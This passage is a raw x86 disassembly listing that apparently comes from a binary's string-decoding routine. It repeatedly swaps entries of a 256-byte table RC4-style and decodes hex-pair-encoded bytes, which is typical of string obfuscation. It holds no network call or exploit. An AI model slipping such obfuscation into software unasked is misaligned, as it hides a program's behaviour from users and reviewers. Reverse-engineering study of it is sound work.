and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x14], dl
jbe 0x82a7c8
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x82a6b1
mov edi, dword [ebp - 0x30]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 5
sub dl, 0x27
shl bl, 4
or dl, bl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x14], dl
jbe 0x82a8ef
mov byte [ebp + esi - 0x61], dl
mov edi, dword [ebp - 0x30]
inc esi
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 5
sub dl, 0x27
shl bl, 4
or dl, bl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x14], dl
jbe 0x82a9fe
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x30]
inc esi
mov bl, byte [edx + esi*2]
lea edi, [edx + esi*2]
add bl, 5
mov dl, byte [edi + 1]
sub dl, 0x27
shl bl, 4
or dl, bl
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x14], dl
jbe 0x82ab0f
mov byte [ebp + esi - 0x61], dl
lea ebx, [esi + 1]
cmp ebx, 0x21
jge 0x82ac4e
mov edx, dword [ebp - 0x30]
lea edi, [edx + esi*2]
mov edx, 0x21
sub edx, ebx
mov dword [ebp - 0x2c], edx
jmp 0x82ab30
mov edi, dword [ebp - 0x34]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 5
shl dl, 4
sub bl, 0x27
mov dword [ebp - 0x34], edi
or dl, bl
inc esi
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x24]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp - 4]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x20], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x14]
and ebx, 0xff
mov dword [ebp - 0xc], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 4], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x1c], cl
mov edx, dword [ebp - 0x1c]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0xc]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x28]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x18]
mov byte [ebp - 0x24], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x14], dl
jbe 0x82ac41
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x82ab2d
mov edx, dword [ebp - 0x18]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 0x10], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
add al, bl
mov bl, byte [ebp + 8]
mov byte [ebp - 0x20], al
inc bl
mov eax, dword [ebp - 0x20]
mov byte [ebp + 8], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x160]
lea eax, [ebp + eax - 0x160]
mov byte [edi], dl
mov edx, dword [ebp - 0x14]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [eax], bl
mov ebx, dword [ebp + 8]
and ebx, 0xff
mov dword [ebp - 8], edx
test esi, esi
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 4], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 4]
mov dl, byte [ebp - 0x10]
mov byte [ebx], dl
jbe 0x82ad53
mov edx, dword [ebp - 0x10]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x30]
mov bl, byte [edx + esi*2 + 1]
mov dl, byte [edx + esi*2]
add dl, 5
sub bl, 0x27
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x28]
mov dl, byte [ebp + edx - 0x160]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x160]
mov dl, byte [edi]
add ecx, edx
mov edx, dword [ebp - 8]
mov edi, dword [ebp - 0x28]
mov dl, byte [edx]
add eax, edi
add ecx, edx
xor edx, edx
and ecx, 0xff
and eax, 0xff
mov dl, byte [ebp + ecx - 0x160]
mov cl, byte [ebp + edx - 0x160]
xor bl, cl
mov cl, byte [ebp + eax - 0x160]
xor bl, cl
mov byte [ebp + esi - 0x61], bl
mov byte [ebp - 0x40], 0
lea edi, [ebp - 0x60]
jmp 0x82c281
cmp eax, 0x236
jne 0x82b78d
fld qword [0x882578]
fld qword [0x882578]
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8b18e0]
fsub st(1)
fxch st(1)
fmul qword [0x891980]
fadd qword [0x891c40]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8b18d8]
fnstsw ax
test ah, 0x41
jne 0x82adaf
fld st(0)
fmul qword [0x8b18d0]
fsubp st(2)
fadd qword [0x889468]
fcom qword [0x8b18c8]
fnstsw ax
test ah, 1
jne 0x82ad76
fxch st(1)
fst qword [ebp - 0x3c]
fxch st(1)
fstp st(0)
fcomp qword [0x882578]
fnstsw ax
test ah, 1
je 0x82ae3e
int 0x5e
aam 0x63
int 0x62
leave
invalid
mov dword [ebp - 0x30], 0x82add8
mov dword [ebp - 0x34], 0x82ae1a
xor eax, eax
mov byte [ebp + eax - 0x160], al
inc eax
cmp eax, 0x100
jb 0x82ae4e
fld qword [ebp - 0x3c]
mov byte [ebp + 8], 0
xor edi, edi
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x2c], 0
jbe 0x82ae87
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x82ae7f
cmp edi, 3
ja case.default.0x82ae8c
jmp dword [edi*4 + 0x82cd9c]
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
jmp 0x82af08
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 8
jmp 0x82af08
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x10
jmp 0x82af08
fld st(0)
and esi, 0xff
call fcn.0082fed4
mov cl, byte [ebp + esi - 0x160]
shr eax, 0x18
jmp 0x82af08
mov edx, dword [ebp - 0x34]
and esi, 0xff
mov cl, byte [ebp + esi - 0x160]
mov al, byte [edx + edi - 4]
add cl, al
inc edi
cmp edi, 0x20
mov byte [ebp + 8], cl
jb 0x82af1b
xor edi, edi
add cl, 0x20
mov byte [ebp + 8], cl
mov esi, dword [ebp + 8]
mov eax, dword [ebp - 0x2c]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x2c], eax
jbe 0x82af3b
mov eax, edx
xor edx, edx
div dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, edx
jb 0x82ae87
je 0x82af73
mov bl, byte [ebp + eax - 0x160]
lea edx, [ebp + edx - 0x160]
lea ecx, [ebp + eax - 0x160]
mov al, byte [edx]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
jne 0x82ae6c
mov dl, byte [ebp - 0x159]
mov edi, dword [ebp - 0x30]
and esi, 0xff
mov byte [ebp - 0x18], dl
xor edx, edx
mov bl, byte [ebp - 0x15d]
mov al, byte [ebp + esi - 0x160]
mov dl, byte [edi + 1]
mov byte [ebp - 0x20], al
xor eax, eax
mov al, byte [edi]
sub edx, 0x5a
sub eax, 0xc6
xor esi, esi
shl eax, 4
or al, dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov byte [ebp - 0x24], al
mov cl, byte [ebp - 0x15b]
mov al, byte [ebp + edx - 0x160]
lea edi, [ebp + edx - 0x160]
mov edx, dword [ebp - 0x15f]
mov byte [ebp - 4], al
mov eax, edx
and eax, 0xff
fstp st(0)
mov al, byte [ebp + eax - 0x160]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
mov edi, dword [ebp - 0xc]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x160]
add edx, edi
and edx, 0xff
xor bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp - 0x24]
xor bl, dl
mov byte [ebp - 0x18], bl
mov edi, dword [ebp - 0x30]
mov byte [ebp - 0x20], dl
mov dword [ebp - 0x2c], 0xe
jmp 0x82b0cc
mov edi, dword [ebp - 0x34]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 0xa
shl dl, 4
sub bl, 0x5a
mov dword [ebp - 0x34], edi
or dl, bl
inc esi
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82b1dd
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x82b0c9
mov edi, dword [ebp - 0x30]
inc esi
xor edx, edx
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 0xa
sub dl, 0x5a
shl bl, 4
or bl, dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov byte [ebp - 0x24], bl
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82b306
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x30]
inc esi
xor ebx, ebx
mov bl, byte [edx + esi*2 + 1]
lea edi, [edx + esi*2]
xor edx, edx
mov dl, byte [edi]
mov edi, ebx
add edx, 0xffffff3a
shl edx, 4
lea ebx, [edi - 0x5a]
or bl, dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
mov byte [ebp - 0x24], bl
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82b420
mov byte [ebp + esi - 0x61], dl
lea ebx, [esi + 1]
cmp ebx, 0x20
jge 0x82b567
mov edx, dword [ebp - 0x30]
lea edi, [edx + esi*2]
mov edx, 0x20
sub edx, ebx
mov dword [ebp - 0x2c], edx
jmp 0x82b441
mov edi, dword [ebp - 0x34]
add edi, 2
xor ebx, ebx
xor edx, edx
mov dword [ebp - 0x34], edi
mov bl, byte [edi + 1]
mov dl, byte [edi]
mov edi, ebx
add edx, 0xffffff3a
shl edx, 4
lea ebx, [edi - 0x5a]
inc esi
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
mov byte [ebp - 0x20], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82b55a
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x2c]
dec edx
mov dword [ebp - 0x2c], edx
jne 0x82b43e
mov edx, dword [ebp - 0x30]
inc esi
xor ebx, ebx
mov bl, byte [edx + esi*2]
mov edi, ebx
xor ebx, ebx
mov bl, byte [edx + esi*2 + 1]
lea edx, [edi - 0xc6]
sub ebx, 0x5a
shl edx, 4
or dl, bl
mov byte [ebp - 0x24], dl
mov edx, dword [ebp - 0x20]
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp + 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov dl, byte [ebp + 8]
add al, bl
inc dl
mov byte [ebp - 0x1c], al
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x10], edx
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 8], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp + 8]
mov ebx, dword [ebp - 8]
and edx, 0xff
lea edx, [ebp + edx - 0x160]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x160]
add cl, bl
mov ebx, dword [ebp - 8]
mov byte [ebp - 0x28], cl
mov edx, dword [ebp - 0x28]
mov bl, byte [ebx]
and edx, 0xff
mov dl, byte [ebp + edx - 0x160]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
mov edx, dword [ebp - 0x10]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0xc]
add ebx, edx
mov dl, byte [ebp + edi - 0x160]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x160]
mov bl, byte [ebp - 0x24]
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x82b687
mov byte [ebp + esi - 0x61], dl
mov edx, dword [ebp - 0x24]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x160]
mov dl, byte [ebp + edx - 0x160]
mov byte [ebp - 4], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
add al, bl
mov bl, byte [ebp + 8]
mov byte [ebp - 0x1c], al
inc bl
mov eax, dword [ebp - 0x1c]
mov byte [ebp + 8], bl
and eax, 0xff
mov dl, byte [ebp + eax - 0x160]
lea eax, [ebp + eax - 0x160]
mov byte [edi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x160]
lea edx, [ebp + edx - 0x160]
mov byte [eax], bl
mov ebx, dword [ebp + 8]
and ebx, 0xff
mov dword [ebp - 8], edx
test esi, esi
lea ebx, [ebp + ebx - 0x160]
mov dword [ebp - 0x14], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 4]
mov byte [ebx], dl
jbe 0x82b781
mov edx, dword [ebp - 4]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x30]
mov bl, byte [edx + esi*2 + 1]
